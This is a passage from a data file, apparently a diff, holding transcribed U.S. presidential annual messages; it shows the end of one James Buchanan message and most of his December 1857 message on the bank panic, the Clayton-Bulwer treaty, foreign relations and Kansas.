applicable to this purpose,\nI could not advance any money on the agreement. I therefore recommend that\nan appropriation may be made of the amount necessary to carry it into\neffect.Other captures of a similar character may, and probably will, be made by\nour naval forces, and I earnestly recommend that Congress may amend the\nsecond section of the act of March 3, 1819, so as to free its construction\nfrom the ambiguity which has so long existed and render the duty of the\nPresident plain in executing its provisions.I recommend to your favorable regard the local interests of the District of\nColumbia. As the residence of Congress and the Executive Departments of the\nGovernment, we can not fail to feel a deep concern in its welfare. This is\nheightened by the high character and the peaceful and orderly conduct of\nits resident inhabitants.I can not conclude without performing the agreeable duty of expressing my\ngratification that Congress so kindly responded to the recommendation of my\nlast annual message by affording me sufficient time before the close of\ntheir late session for the examination of all the bills presented to me for\napproval. This change in the practice of Congress has proved to be a\nwholesome reform. It exerted a beneficial influence on the transaction of\nlegislative business and elicited the general approbation of the country.\nIt enabled Congress to adjourn with that dignity and deliberation so\nbecoming to the representatives of this great Republic, without having\ncrowded into general appropriation bills provisions foreign to their nature\nand of doubtful constitutionality and expediency. Let me warmly and\nstrongly commend this precedent established by themselves as a guide to\ntheir proceedings during the present session.", 
+    "name": "James Buchanan"
+}
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+{
+    "date": "December 8, 1857", 
+    "speech": "Fellow-Citizens of the Senate and House of Representatives:In obedience to the command of the Constitution, it has now become my duty\n\"to give to Congress information of the state of the Union and recommend to\ntheir consideration such measures\" as I judge to be \"necessary and\nexpedient.\"But first and above all, our thanks are due to Almighty God for the\nnumerous benefits which He has bestowed upon this people, and our united\nprayers ought to ascend to Him that He would continue to bless our great\nRepublic in time to come as He has blessed it in time past. Since the\nadjournment of the last Congress our constituents have enjoyed an unusual\ndegree of health. The earth has yielded her fruits abundantly and has\nbountifully rewarded the toil of the husbandman. Our great staples have\ncommanded high prices, and up till within a brief period our manufacturing,\nmineral, and mechanical occupations have largely partaken of the general\nprosperity. We have possessed all the elements of material wealth in rich\nabundance, and yet, notwithstanding all these advantages, our country in\nits monetary interests is at the present moment in a deplorable condition.\nIn the midst of unsurpassed plenty in all the productions of agriculture\nand in all the elements of national wealth, we find our manufactures\nsuspended, our public works retarded, our private enterprises of different\nkinds abandoned, and thousands of useful laborers thrown out of employment\nand reduced to want. The revenue of the Government, which is chiefly\nderived from duties on imports from abroad, has been greatly reduced,\nwhilst the appropriations made by Congress at its last session for the\ncurrent fiscal year are very large in amount.Under these circumstances a loan may be required before the close of your\npresent session; but this, although deeply to be regretted, would prove to\nbe only a slight misfortune when compared with the suffering and distress\nprevailing among the people. With this the Government can not fail deeply\nto sympathize, though it may be without the power to extend relief.It is our duty to inquire what has produced such unfortunate results and\nwhether their recurrence can be prevented. In all former revulsions the\nblame might have been fairly attributed to a variety of cooperating causes,\nbut not so upon the present occasion. It is apparent that our existing\nmisfortunes have proceeded solely from our extravagant and vicious system\nof paper currency and bank credits, exciting the people to wild\nspeculations and gambling in stocks. These revulsions must continue to\nrecur at successive intervals so long as the amount of the paper currency\nand bank loans and discounts of the country shall be left to the discretion\nof 1,400 irresponsible banking institutions, which from the very law of\ntheir nature will consult the interest of their stockholders rather than\nthe public welfare.The framers of the Constitution, when they gave to Congress the power \"to\ncoin money and to regulate the value thereof\" and prohibited the States\nfrom coining money, emitting bills of credit, or making anything but gold\nand silver coin a tender in payment of debts, supposed they had protected\nthe people against the evils of an excessive and irredeemable paper\ncurrency. They are not responsible for the existing anomaly that a\nGovernment endowed with the sovereign attribute of coining money and\nregulating the value thereof should have no power to prevent others from\ndriving this coin out of the country and filling up the channels of\ncirculation with paper which does not represent gold and silver.It is one of the highest and most responsible duties of Government to\ninsure to the people a sound circulating medium, the amount of which ought\nto be adapted with the utmost possible wisdom and skill to the wants of\ninternal trade and foreign exchanges. If this be either greatly above or\ngreatly below the proper standard, the marketable value of every man's\nproperty is increased or diminished in the same proportion, and injustice\nto individuals as well as incalculable evils to the community are the\nconsequence.Unfortunately, under the construction of the Federal Constitution which has\nnow prevailed too long to be changed this important and delicate duty has\nbeen dissevered from the coining power and virtually transferred to more\nthan 1,400 State banks acting independently of each other and regulating\ntheir paper issues almost exclusively by a regard to the present interest\nof their stockholders. Exercising the sovereign power of providing a paper\ncurrency instead of coin for the country, the first duty which these banks\nowe to the public is to keep in their vaults a sufficient\namount of gold and silver to insure the convertibility of\ntheir notes into coin at all times and under all circumstances.\nNo bank ought ever to be chartered without such restrictions\non its business as to secure this result. All other restrictions are\ncomparatively vain. This is the only true touchstone, the only efficient\nregulator of a paper currency--the only one which can guard the public\nagainst overissues and bank suspensions. As a collateral and eventual\nsecurity, it is doubtless wise, and in all cases ought to be required, that\nbanks shall hold an amount of United States or State securities equal to\ntheir notes in circulation and pledged for their redemption. This, however,\nfurnishes no adequate security against overissue. On the contrary, it may\nbe perverted to inflate the currency. Indeed, it is possible by this means\nto convert all the debts of the United States and State Governments into\nbank notes, without reference to the specie required to redeem them.\nHowever valuable these securities may be in themselves, they can not be\nconverted into gold and silver at the moment of pressure, as our experience\nteaches, in sufficient time to prevent bank suspensions and the\ndepreciation of bank notes. In England, which is to a considerable extent a\npaper-money country, though vastly behind our own in this respect, it was\ndeemed advisable, anterior to the act of Parliament of 1844, which wisely\nseparated the issue of notes from the banking department, for the Bank of\nEngland always to keep on hand gold and silver equal to one-third of its\ncombined circulation and deposits. If this proportion was no more than\nsufficient to secure the convertibility of its notes with the whole of\nGreat Britain and to some extent the continent of Europe as a field for its\ncirculation, rendering it almost impossible that a sudden and immediate run\nto a dangerous amount should be made upon it, the same proportion would\ncertainly be insufficient under our banking system. Each of our 1,400 banks\nhas but a limited circumference for its circulation, and in the course of a\nvery few days the depositors and note holders might demand from such a bank\na sufficient amount in specie to compel it to suspend, even although it had\ncoin in its vaults equal to one-third of its immediate liabilities. And yet\nI am not aware, with the exception of the banks of Louisiana, that any\nState bank throughout the Union has been required by its charter to keep\nthis or any other proportion of gold and silver compared with the amount of\nits combined circulation and deposits. What has been the consequence? In a\nrecent report made by the Treasury Department on the condition of the banks\nthroughout the different States, according to returns dated nearest to\nJanuary, 1857, the aggregate amount of actual specie in their vaults is\n$58,349,838, of their circulation $214,778,822, and of their deposits\n$230,351,352. Thus it appears that these banks in the aggregate have\nconsiderably less than one dollar in seven of gold and silver compared with\ntheir circulation and deposits. It was palpable, therefore, that the very\nfirst pressure must drive them to suspension and deprive the people of a\nconvertible currency, with all its disastrous consequences. It is truly\nwonderful that they should have so long continued to preserve their credit\nwhen a demand for the payment of one-seventh of their immediate liabilities\nwould have driven them into insolvency. And this is the condition of the\nbanks, notwithstanding that four hundred millions of gold from California\nhave flowed in upon us within the last eight years, and the tide still\ncontinues to flow. Indeed, such has been the extravagance of bank credits\nthat the banks now hold a considerably less amount of specie, either in\nproportion to their capital or to their circulation and deposits combined,\nthan they did before the discovery of gold in California. Whilst in the\nyear 1848 their specie in proportion to their capital was more than equal\nto one dollar for four and a half, in 1857 it does not amount to one dollar\nfor every six dollars and thirty-three cents of their capital. In the year\n1848 the specie was equal within a very small fraction to one dollar in\nfive of their circulation and deposits; in 1857 it is not equal to one\ndollar in seven and a half of their circulation and deposits.From this statement it is easy to account for our financial history for the\nlast forty years. It has been a history of extravagant expansions in the\nbusiness of the country, followed by ruinous contractions. At successive\nintervals the best and most enterprising men have been tempted to their\nruin by excessive bank loans of mere paper credit, exciting them to\nextravagant importations of foreign goods, wild speculations, and ruinous\nand demoralizing stock gambling. When the crisis arrives, as arrive it\nmust, the banks can extend no relief to the people. In a vain struggle to\nredeem their liabilities in specie they are compelled to contract their\nloans and their issues, and at last, in the hour of distress, when their\nassistance is most needed, they and their debtors together sink into\ninsolvency.It is this paper system of extravagant expansion, raising the nominal price\nof every article far beyond its real value when compared with the cost of\nsimilar articles in countries whose circulation is wisely regulated, which\nhas prevented us from competing in our own markets with foreign\nmanufacturers, has produced extravagant importations, and has counteracted\nthe effect of the large incidental protection afforded to our domestic\nmanufactures by the present revenue tariff. But for this the branches of\nour manufactures composed of raw materials, the production of our own\ncountry--such as cotton, iron, and woolen fabrics--would not only have\nacquired almost exclusive possession of the home market, but would have\ncreated for themselves a foreign market throughout the world.Deplorable, however, as may be our present financial condition, we may yet\nindulge in bright hopes for the future. No other nation has ever existed\nwhich could have endured such violent expansions and contractions of paper\ncredits without lasting injury; yet the buoyancy of youth, the energies of\nour population, and the spirit which never quails before difficulties will\nenable us soon to recover from our present financial embarrassments, and\nmay even occasion us speedily to forget the lesson which they have taught.\nIn the meantime it is the duty of the Government, by all proper means\nwithin its power, to aid in alleviating the sufferings of the people\noccasioned by the suspension of the banks and to provide against a\nrecurrence of the same calamity. Unfortunately, in either aspect of the\ncase it can do but little. Thanks to the independent treasury, the\nGovernment has not suspended payment, as it was compelled to do by the\nfailure of the banks in 1837. It will continue to discharge its liabilities\nto the people in gold and silver. Its disbursements in coin will pass into\ncirculation and materially assist in restoring a sound currency. From its\nhigh credit, should we be compelled to make a temporary loan, it can be\neffected on advantageous terms. This, however, shall if possible be\navoided, but if not, then the amount shall be limited to the lowest\npracticable sum.I have therefore determined that whilst no useful Government works already\nin progress shall be suspended, new works not already commenced will be\npostponed if this can be done without injury to the country. Those\nnecessary for its defense shall proceed as though there had been no crisis\nin our monetary affairs.But the Federal Government can not do much to provide against a recurrence\nof existing evils. Even if insurmountable constitutional objections did not\nexist against the creation of a national bank, this would furnish no\nadequate preventive security. The history of the last Bank of the United\nStates abundantly proves the truth of this assertion. Such a bank could\nnot, if it would, regulate the issues and credits of 1,400 State banks in\nsuch a manner as to prevent the ruinous expansions and contractions in our\ncurrency which afflicted the country throughout the existence of the late\nbank, or secure us against future suspensions. In 1825 an effort was made\nby the Bank of England to curtail the issues of the country banks under the\nmost favorable circumstances. The paper currency had been expanded to a\nruinous extent, and the bank put forth all its power to contract it in\norder to reduce prices and restore the equilibrium of the foreign\nexchanges. It accordingly commenced a system of curtailment of its loans\nand issues, in the vain hope that the joint stock and private banks of the\nKingdom would be compelled to follow its example. It found, however, that\nas it contracted they expanded, and at the end of the process, to employ\nthe language of a very high official authority, \"whatever reduction of the\npaper circulation was effected by the Bank of England (in 1825) was more\nthan made up by the issues of the country banks.\"But a bank of the United States would not, if it could, restrain the issues\nand loans of the State banks, because its duty as a regulator of the\ncurrency must often be in direct conflict with the immediate interest of\nits stockholders. If we expect one agent to restrain or control another,\ntheir interests must, at least in some degree, be antagonistic. But the\ndirectors of a bank of the United States would feel the same interest and\nthe same inclination with the directors of the State banks to expand the\ncurrency, to accommodate their favorites and friends with loans, and to\ndeclare large dividends. Such has been our experience in regard to the last\nbank.After all, we must mainly rely upon the patriotism and wisdom of the States\nfor the prevention and redress of the evil. If they will afford us a real\nspecie basis for our paper circulation by increasing the denomination of\nbank notes, first to twenty and afterwards to fifty dollars; if they will\nrequire that the banks shall at all times keep on hand at least one dollar\nof gold and silver for every three dollars of their circulation and\ndeposits, and if they will provide by a self-executing enactment, which\nnothing can arrest, that the moment they suspend they shall go into\nliquidation, I believe that such provisions, with a weekly publication by\neach bank of a statement of its condition, would go far to secure us\nagainst future suspensions of specie payments.Congress, in my opinion, possess the power to pass a uniform bankrupt law\napplicable to all banking institutions throughout the United States, and I\nstrongly recommend its exercise. This would make it the irreversible\norganic law of each bank's existence that a suspension of specie payments\nshall produce its civil death. The instinct of self-preservation would then\ncompel it to perform its duties in such a manner as to escape the penalty\nand preserve its life.The existence of banks and the circulation of bank paper are so identified\nwith the habits of our people that they can not at this day be suddenly\nabolished without much immediate injury to the country. If we could confine\nthem to their appropriate sphere and prevent them from administering to the\nspirit of wild and reckless speculation by extravagant loans and issues,\nthey might be continued with advantage to the public.But this I say, after long and much reflection: If experience shall prove\nit to be impossible to enjoy the facilities which well-regulated banks\nmight afford without at the same time suffering the calamities which the\nexcesses of the banks have hitherto inflicted upon the country, it would\nthen be far the lesser evil to deprive them altogether of the power to\nissue a paper currency and confine them to the functions of banks of\ndeposit and discount.Our relations with foreign governments are upon the whole in a satisfactory\ncondition.The diplomatic difficulties which existed between the Government of the\nUnited States and that of Great Britain at the adjournment of the last\nCongress have been happily terminated by the appointment of a British\nminister to this country, who has been cordially received. Whilst it is\ngreatly to the interest, as I am convinced it is the sincere desire, of the\nGovernments and people of the two countries to be on terms of intimate\nfriendship with each other, it has been our misfortune almost always to\nhave had some irritating, if not dangerous, outstanding question with Great\nBritain.Since the origin of the Government we have been employed in negotiating\ntreaties with that power, and afterwards in discussing their true intent\nand meaning. In this respect the convention of April 19, 1850, commonly\ncalled the Clayton and Bulwer treaty, has been the most unfortunate of all,\nbecause the two Governments place directly opposite and contradictory\nconstructions upon its first and most important article. Whilst in the\nUnited States we believed that this treaty would place both powers upon an\nexact equality by the stipulation that neither will ever \"occupy, or\nfortify, or colonize, or assume, or exercise any dominion\" over any part of\nCentral America, it is contended by the British Government that the true\nconstruction of this language has left them in the rightful possession of\nall that portion of Central America which was in their occupancy at the\ndate of the treaty; in fact, that the treaty is a virtual recognition on\nthe part of the United States of the right of Great Britain, either as\nowner or protector, to the whole extensive coast of Central America,\nsweeping round from the Rio Hondo to the port and harbor of San Juan de\nNicaragua, together with the adjacent Bay Islands, except the comparatively\nsmall portion of this between the Sarstoon and Cape Honduras. According to\ntheir construction, the treaty does no more than simply prohibit them from\nextending their possessions in Central America beyond the present limits.\nIt is not too much to assert that if in the United States the treaty had\nbeen considered susceptible of such a construction it never would have been\nnegotiated under the authority of the President, nor would it have received\nthe approbation of the Senate. The universal conviction in the United\nStates was that when our Government consented to violate its traditional\nand time-honored policy and to stipulate with a foreign government never to\noccupy or acquire territory in the Central American portion of our own\ncontinent, the consideration for this sacrifice was that Great Britain\nshould, in this respect at least, be placed in the same position with\nourselves. Whilst we have no right to doubt the sincerity of the British\nGovernment in their construction of the treaty, it is at the same time my\ndeliberate conviction that this construction is in opposition both to its\nletter and its spirit.Under the late Administration negotiations were instituted between the two\nGovernments for the purpose, if possible, of removing these difficulties,\nand a treaty having this laudable object in view was signed at London on\nthe 17th October, 1856, and was submitted by the President to the Senate on\nthe following 10th of December. Whether this treaty, either in its original\nor amended form, would have accomplished the object intended without giving\nbirth to new and embarrassing complications between the two Governments,\nmay perhaps be well questioned. Certain it is, however, it was rendered\nmuch less objectionable by the different amendments made to it by the\nSenate. The treaty as amended was ratified by me on the 12th March, 1857,\nand was transmitted to London for ratification by the British Government.\nThat Government expressed its willingness to concur in all the amendments\nmade by the Senate with the single exception of the clause relating to\nRuatan and the other islands in the Bay of Honduras. The article in the\noriginal treaty as submitted to the Senate, after reciting that these\nislands and their inhabitants \"having been, by a convention bearing date\nthe 27th day of August, 1856, between Her Britannic Majesty and the\nRepublic of Honduras, constituted and declared a free territory under the\nsovereignty of the said Republic of Honduras,\" stipulated that \"the two\ncontracting parties do hereby mutually engage to recognize and respect in\nall future time the independence and rights of the said free territory as a\npart of the Republic of Honduras.\"Upon an examination of this convention between Great Britain and Honduras\nof the 27th August, 1856, it was found that whilst declaring the Bay\nIslands to be \"a free territory under the sovereignty of the Republic of\nHonduras\" it deprived that Republic of rights without which its sovereignty\nover them could scarcely be said to exist. It divided them from the\nremainder of Honduras and gave to their inhabitants a separate government\nof their own, with legislative, executive, and judicial officers elected by\nthemselves. It deprived the Government of Honduras of the taxing power in\nevery form and exempted the people of the islands from the performance of\nmilitary duty except for their own exclusive defense. It also prohibited\nthat Republic from erecting fortifications upon them for their protection,\nthus leaving them open to invasion from any quarter; and, finally, it\nprovided \"that slavery shall not at any time hereafter be permitted to\nexist therein.\"Had Honduras ratified this convention, she would have ratified the\nestablishment of a state substantially independent within her own limits,\nand a state at all times subject to British influence and control.\nMoreover, had the United States ratified the treaty with Great Britain in\nits original form, we should have been bound \"to recognize and respect in\nall future time\" these stipulations to the prejudice of Honduras. Being in\ndirect opposition to the spirit and meaning of the Clayton and Bulwer\ntreaty as understood in the United States, the Senate rejected the entire\nclause, and substituted in its stead a simple recognition of the sovereign\nright of Honduras to these islands in the following language: The two\ncontracting parties do hereby mutually engage to recognize and respect the\nislands of Ruatan, Bonaco, Utila, Barbaretta, Helena, and Moral, situate in\nthe Bay of Honduras and off the coast of the Republic of Honduras, as under\nthe sovereignty and as part of the said Republic of Honduras.Great Britain rejected this amendment, assigning as the only reason that\nthe ratifications of the convention of the 27th August, 1856, between her\nand Honduras had not been \"exchanged, owing to the hesitation of that\nGovernment.\" Had this been done, it is stated that \"Her Majesty's\nGovernment would have had little difficulty in agreeing to the modification\nproposed by the Senate, which then would have had in effect the same\nsignification as the original wording.\" Whether this would have been the\neffect, whether the mere circumstance of the exchange of the ratifications\nof the British convention with Honduras prior in point of time to the\nratification of our treaty with Great Britain would \"in effect\" have had\n\"the same signification as the original wording,\" and thus have nullified\nthe amendment of the Senate, may well be doubted. It is, perhaps, fortunate\nthat the question has never arisen.The British Government, immediately after rejecting the treaty as amended,\nproposed to enter into a new treaty with the United States, similar in all\nrespects to the treaty which they had just refused to ratify, if the United\nStates would consent to add to the Senate's clear and unqualified\nrecognition of the sovereignty of Honduras over the Bay Islands the\nfollowing conditional stipulation: Whenever and so soon as the Republic of\nHonduras shall have concluded and ratified a treaty with Great Britain by\nwhich Great Britain shall have ceded and the Republic of Honduras shall\nhave accepted the said islands, subject to the provisions and conditions\ncontained in such treaty.This proposition was, of course, rejected. After the Senate had refused to\nrecognize the British convention with Honduras of the 27th August, 1856,\nwith full knowledge of its contents, it was impossible for me, necessarily\nignorant of \"the provisions and conditions\" which might be contained in a\nfuture convention between the same parties, to sanction them in advance.The fact is that when two nations like Great Britain and the United States,\nmutually desirous, as they are, and I trust ever may be, of maintaining the\nmost friendly relations with each other, have unfortunately concluded a\ntreaty which they understand in senses directly opposite, the wisest course\nis to abrogate such a treaty by mutual consent and to commence anew. Had\nthis been done promptly, all difficulties in Central America would most\nprobably ere this have been adjusted to the satisfaction of both parties.\nThe time spent in discussing the meaning of the Clayton and Bulwer treaty\nwould have been devoted to this praiseworthy purpose, and the task would\nhave been the more easily accomplished because the interest of the two\ncountries in Central America is identical, being confined to securing safe\ntransits over all the routes across the Isthmus.Whilst entertaining these sentiments, I shall, nevertheless, not refuse to\ncontribute to any reasonable adjustment of the Central American questions\nwhich is not practically inconsistent with the American interpretation of\nthe treaty. Overtures for this purpose have been recently made by the\nBritish Government in a friendly spirit, which I cordially reciprocate, but\nwhether this renewed effort will result in success I am not yet prepared to\nexpress an opinion. A brief period will determine.With France our ancient relations of friendship still continue to exist.\nThe French Government have in several recent instances, which need not be\nenumerated, evinced a spirit of good will and kindness toward our country,\nwhich I heartily reciprocate. It is, notwithstanding, much to be regretted\nthat two nations whose productions are of such a character as to invite the\nmost extensive exchanges and freest commercial intercourse should continue\nto enforce ancient and obsolete restrictions of trade against each other.\nOur commercial treaty with France is in this respect an exception from our\ntreaties with all other commercial nations. It jealously levies\ndiscriminating duties both on tonnage and on articles the growth, produce,\nor manufacture of the one country when arriving in vessels belonging to the\nother.More than forty years ago, on the 3d March, 1815, Congress passed an act\noffering to all nations to admit their vessels laden with their national\nproductions into the ports of the United States upon the same terms with\nour own vessels provided they would reciprocate to us similar advantages.\nThis act confined the reciprocity to the productions of the respective\nforeign nations who might enter into the proposed arrangement with the\nUnited States. The act of May 24, 1828, removed this restriction and\noffered a similar reciprocity to all such vessels without reference to the\norigin of their cargoes. Upon these principles our commercial treaties and\narrangements have been rounded, except with France, and let us hope that\nthis exception may not long exist.Our relations with Russia remain, as they have ever been, on the most\nfriendly footing. The present Emperor, as well as his predecessors, have\nnever failed when the occasion offered to manifest their good will to our\ncountry, and their friendship has always been highly appreciated by the\nGovernment and people of the United States.With all other European Governments, except that of Spain, our relations\nare as peaceful as we could desire. I regret to say that no progress\nwhatever has been made since the adjournment of Congress toward the\nsettlement of any of the numerous claims of our citizens against the\nSpanish Government. Besides, the outrage committed on our flag by the\nSpanish war frigate Ferrolana on the high seas off the coast of Cuba in\nMarch, 1855, by firing into the American mail steamer El Dorado and\ndetaining and searching her, remains unacknowledged and unredressed. The\ngeneral tone and temper of the Spanish Government toward that of the United\nStates are much to be regretted. Our present envoy extraordinary and\nminister plenipotentiary to Madrid has asked to be recalled, and it is my\npurpose to send out a new minister to Spain with special instructions on\nall questions pending between the two Governments, and with a determination\nto have them speedily and amicably adjusted if this be possible. In the\nmeantime, whenever our minister urges the just claims of our citizens on\nthe notice of the Spanish Government he is met with the objection that\nCongress has never made the appropriation recommended by President Polk in\nhis annual message of December, 1847, \"to be paid to the Spanish Government\nfor the purpose of distribution among the claimants in the Amistad case.\" A\nsimilar recommendation was made by my immediate predecessor in his message\nof December, 1853, and entirely concurring with both in the opinion that\nthis indemnity is justly due under the treaty with Spain of the 27th of\nOctober, 1795, I earnestly recommend such an appropriation to the favorable\nconsideration of Congress.A treaty of friendship and commerce was concluded at Constantinople on the\n13th December, 1856, between the United States and Persia, the\nratifications of which were exchanged at Constantinople on the 13th June,\n1857, and the treaty was proclaimed by the President on the 18th August,\n1857. This treaty, it is believed, will prove beneficial to American\ncommerce. The Shah has manifested an earnest disposition to cultivate\nfriendly relations with our country, and has expressed a strong wish that\nwe should be represented at Teheran by a minister plenipotentiary; and I\nrecommend that an appropriation be made for this purpose.Recent occurrences in China have been unfavorable to a revision of the\ntreaty with that Empire of the 3d July, 1844, with a view to the security\nand extension of our commerce. The twenty-fourth article of this treaty\nstipulated for a revision of it in case experience should prove this to be\nrequisite, \"in which case the two Governments will, at the expiration of\ntwelve years from the date of said convention, treat amicably concerning\nthe same by means of suitable persons appointed to conduct such\nnegotiations.\" These twelve years expired on the 3d July, 1856, but long\nbefore that period it was ascertained that important changes in the treaty\nwere necessary, and several fruitless attempts were made by the\ncommissioner of the United States to effect these changes. Another effort\nwas about to be made for the same purpose by our commissioner in\nconjunction with the ministers of England and France, but this was\nsuspended by the occurrence of hostilities in the Canton River between\nGreat Britain and the Chinese Empire. These hostilities have necessarily\ninterrupted the trade of all nations with Canton, which is now in a state\nof blockade, and have occasioned a serious loss of life and property.\nMeanwhile the insurrection within the Empire against the existing imperial\ndynasty still continues, and it is difficult to anticipate what will be the\nresult.Under these circumstances I have deemed it advisable to appoint a\ndistinguished citizen of Pennsylvania envoy extraordinary and minister\nplenipotentiary to proceed to China and to avail himself of any\nopportunities which may offer to effect changes in the existing treaty\nfavorable to American commerce. He left the United States for the place of\nhis destination in July last in the war steamer Minnesota. Special\nministers to China have also been appointed by the Governments of Great\nBritain and France.Whilst our minister has been instructed to occupy a neutral position in\nreference to the existing hostilities at Canton, he will cordially\ncooperate with the British and French ministers in all peaceful measures to\nsecure by treaty stipulations those just concessions to commerce which the\nnations of the world have a right to expect and which China can not long be\npermitted to withhold. From assurances received I entertain no doubt that\nthe three ministers will act in harmonious concert to obtain similar\ncommercial treaties for each of the powers they represent.We can not fail to feel a deep interest in all that concerns the welfare of\nthe independent Republics on our own continent, as well as of the Empire of\nBrazil.Our difficulties with New Granada, which a short time since bore so\nthreatening an aspect, are, it is to be hoped, in a fair train of\nsettlement in a manner just and honorable to both parties.The isthmus of Central America, including that of Panama, is the great\nhighway between the Atlantic and Pacific over which a large portion of the\ncommerce of the world is destined to pass. The United States are more\ndeeply interested than any other nation in preserving the freedom and\nsecurity of all the communications across this isthmus. It is our duty,\ntherefore, to take care that they shall not be interrupted either by\ninvasions from our own country or by wars between the independent States of\nCentral America. Under our treaty with New Granada of the 12th December,\n1846, we are bound to guarantee the neutrality of the Isthmus of Panama,\nthrough which the Panama Railroad passes, \"as well as the rights of\nsovereignty and property which New Granada has and possesses over the said\nterritory.\" This obligation is rounded upon equivalents granted by the\ntreaty to the Government and people of the United States.Under these circumstances I recommend to Congress the passage of an act\nauthorizing the President, in case of necessity, to employ the land and\nnaval forces of the United States to carry into effect this guaranty of\nneutrality and protection. I also recommend similar legislation for the\nsecurity of any other route across the Isthmus in which we may acquire an\ninterest by treaty.With the independent Republics on this continent it is both our duty and\nour interest to cultivate the most friendly relations. We can never feel\nindifferent to their fate, and must always rejoice in their prosperity.\nUnfortunately both for them and for us, our example and advice have lost\nmuch of their influence in consequence of the lawless expeditions which\nhave been fitted out against some of them within the limits of our country.\nNothing is better calculated to retard our steady material progress or\nimpair our character as a nation than the toleration of such enterprises in\nviolation of the law of nations.It is one of the first and highest duties of any independent state in its\nrelations with the members of the great family of nations to restrain its\npeople from acts of hostile aggression against their citizens or subjects.\nThe most eminent writers on public law do not hesitate to denounce such\nhostile acts as robbery and murder.Weak and feeble states like those of Central America may not feel\nthemselves able to assert and vindicate their rights. The case would be far\ndifferent if expeditions were set on foot within our own territories to\nmake private war against a powerful nation. If such expeditions were fitted\nout from abroad against any portion of our own country, to burn down our\ncities, murder and plunder our people, and usurp our Government, we should\ncall any power on earth to the strictest account for not preventing such\nenormities.Ever since the Administration of General Washington acts of Congress have\nbeen enforced to punish severely the crime of setting on foot a military\nexpedition within the limits of the United States to proceed from thence\nagainst a nation or state with whom we are at peace. The present neutrality\nact of April 20, 1818, is but little more than a collection of preexisting\nlaws. Under this act the President is empowered to employ the land and\nnaval forces and the militia \"for the purpose of preventing the carrying on\nof any such expedition or enterprise from the territories and jurisdiction\nof the United States,\" and the collectors of customs are authorized and\nrequired to detain any vessel in port when there is reason to believe she\nis about to take part in such lawless enterprises.When it was first rendered probable that an attempt would be made to get up\nanother unlawful expedition against Nicaragua, the Secretary of State\nissued instructions to the marshals and district attorneys, which were\ndirected by the Secretaries of War and the Navy to the appropriate army and\nnavy officers, requiring them to be vigilant and to use their best\nexertions in carrying into effect the provisions of the act of 1818.\nNotwithstanding these precautions, the expedition has escaped from our\nshores. Such enterprises can do no possible good to the country, but have\nalready inflicted much injury both on its interests and its character. They\nhave prevented peaceful emigration from the United States to the States of\nCentral America, which could not fail to prove highly beneficial to all the\nparties concerned. In a pecuniary point of view alone our citizens have\nsustained heavy losses from the seizure and closing of the transit route by\nthe San Juan between the two oceans.The leader of the recent expedition was arrested at New Orleans, but was\ndischarged on giving bail for his appearance in the insufficient sum of\n$2,000.I commend the whole subject to the serious attention of Congress, believing\nthat our duty and our interest, as well as our national character, require\nthat we should adopt such measures as will be effectual in restraining our\ncitizens from committing such outrages.I regret to inform you that the President of Paraguay has refused to ratify\nthe treaty between the United States and that State as amended by the\nSenate, the signature of which was mentioned in the message of my\npredecessor to Congress at the opening of its session in December, 1853.\nThe reasons assigned for this refusal will appear in the correspondence\nherewith submitted.It being desirable to ascertain the fitness of the river La Plata and its\ntributaries for navigation by steam, the United States steamer Water Witch\nwas sent thither for that purpose in 1853. This enterprise was successfully\ncarried on until February, 1855, when, whilst in the peaceful prosecution\nof her voyage up the Parana River, the steamer was fired upon by a\nParaguayan fort. The fire was returned, but as the Water Witch was of small\nforce and not designed for offensive operations, she retired from the\nconflict. The pretext upon which the attack was made was a decree of the\nPresident of Paraguay of October, 1854, prohibiting foreign vessels of war\nfrom navigating the rivers of that State. As Paraguay, however, was the\nowner of but one bank of the river of that name, the other belonging to\nCorientes, a State of the Argentine Confederation, the right of its\nGovernment to expect that such a decree would be obeyed can not be\nacknowledged. But the Water Witch was not, properly speaking, a vessel of\nwar. She was a small steamer engaged in a scientific enterprise intended\nfor the advantage of commercial states generally. Under these circumstances\nI am constrained to consider the attack upon her as unjustifiable and as\ncalling for satisfaction from the Paraguayan Government.Citizens of the United States also who were established in business in\nParaguay have had their property seized and taken from them, and have\notherwise been treated by the authorities in an insulting and arbitrary\nmanner, which requires redress.A demand for these purposes will be made in a firm but conciliatory spirit.\nThis will the more probably be granted if the Executive shall have\nauthority to use other means in the event of a refusal. This is accordingly\nrecommended.It is unnecessary to state in detail the alarming condition of the\nTerritory of Kansas at the time of my inauguration. The opposing parties\nthen stood in hostile array against each other, and any accident might have\nrelighted the flames of civil war. Besides, at this critical moment Kansas\nwas left without a governor by the resignation of Governor Geary.On the 19th of February previous the Territorial legislature had passed a\nlaw providing for the election of delegates on the third Monday of June to\na convention to meet on the first Monday of September for the purpose of\nframing a constitution preparatory to admission into the Union. This law\nwas in the main fair and just, and it is to be regretted that all the\nqualified electors had not registered themselves and voted under its\nprovisions.At the time of the election for delegates an extensive organization existed\nin the Territory whose avowed object it was, if need be, to put down the\nlawful government by force and to establish a government of their own under\nthe so-called Topeka constitution. The persons attached to this\nrevolutionary organization abstained from taking any part in the election.The act of the Territorial legislature had omitted to provide for\nsubmitting to the people the constitution which might be framed by the\nconvention, and in the excited state of public feeling throughout Kansas an\napprehension extensively prevailed that a design existed to force upon them\na constitution in relation to slavery against their will. In this emergency\nit became my duty, as it was my unquestionable right, having in view the\nunion of all good citizens in support of the Territorial laws, to express\nan opinion on the true construction of the provisions concerning slavery\ncontained in the organic act of Congress of the 30th May, 1854. Congress\ndeclared it to be \"the true intent and meaning of this act not to legislate\nslavery into any Territory or State, nor to exclude it therefrom, but to\nleave the people thereof perfectly free to form and regulate their domestic\ninstitutions in their own way.\" Under it Kansas, \"when admitted as a\nState,\" was to \"be received into the Union with or without slavery, as\ntheir constitution may prescribe at the time of their admission.\"Did Congress mean by this language that the delegates elected to frame a\nconstitution should have authority finally to decide the question of\nslavery, or did they intend by leaving it to the people that the people of\nKansas themselves should decide this question by a direct vote? On this\nsubject I confess I had never entertained a serious doubt, and therefore in\nmy instructions to Governor Walker of the 28th March last I merely said\nthat when \"a constitution shall be submitted to the people of the Territory\nthey must be protected in the exercise of their right of voting for or\nagainst that instrument, and the fair expression of the popular will must\nnot be interrupted by fraud or violence.\"In expressing this opinion it was far from my intention to interfere with\nthe decision of the people of Kansas, either for or against slavery. From\nthis I have always carefully abstained. Intrusted with the duty of taking\n\"care that the laws be faithfully executed,\" my only desire was that the\npeople of Kansas should furnish to Congress the evidence required by the\norganic act, whether for or against slavery, and in this manner smooth\ntheir passage into the Union. In emerging from the condition of Territorial\ndependence into that of a sovereign State it was their duty, in my opinion,\nto make known their will by the 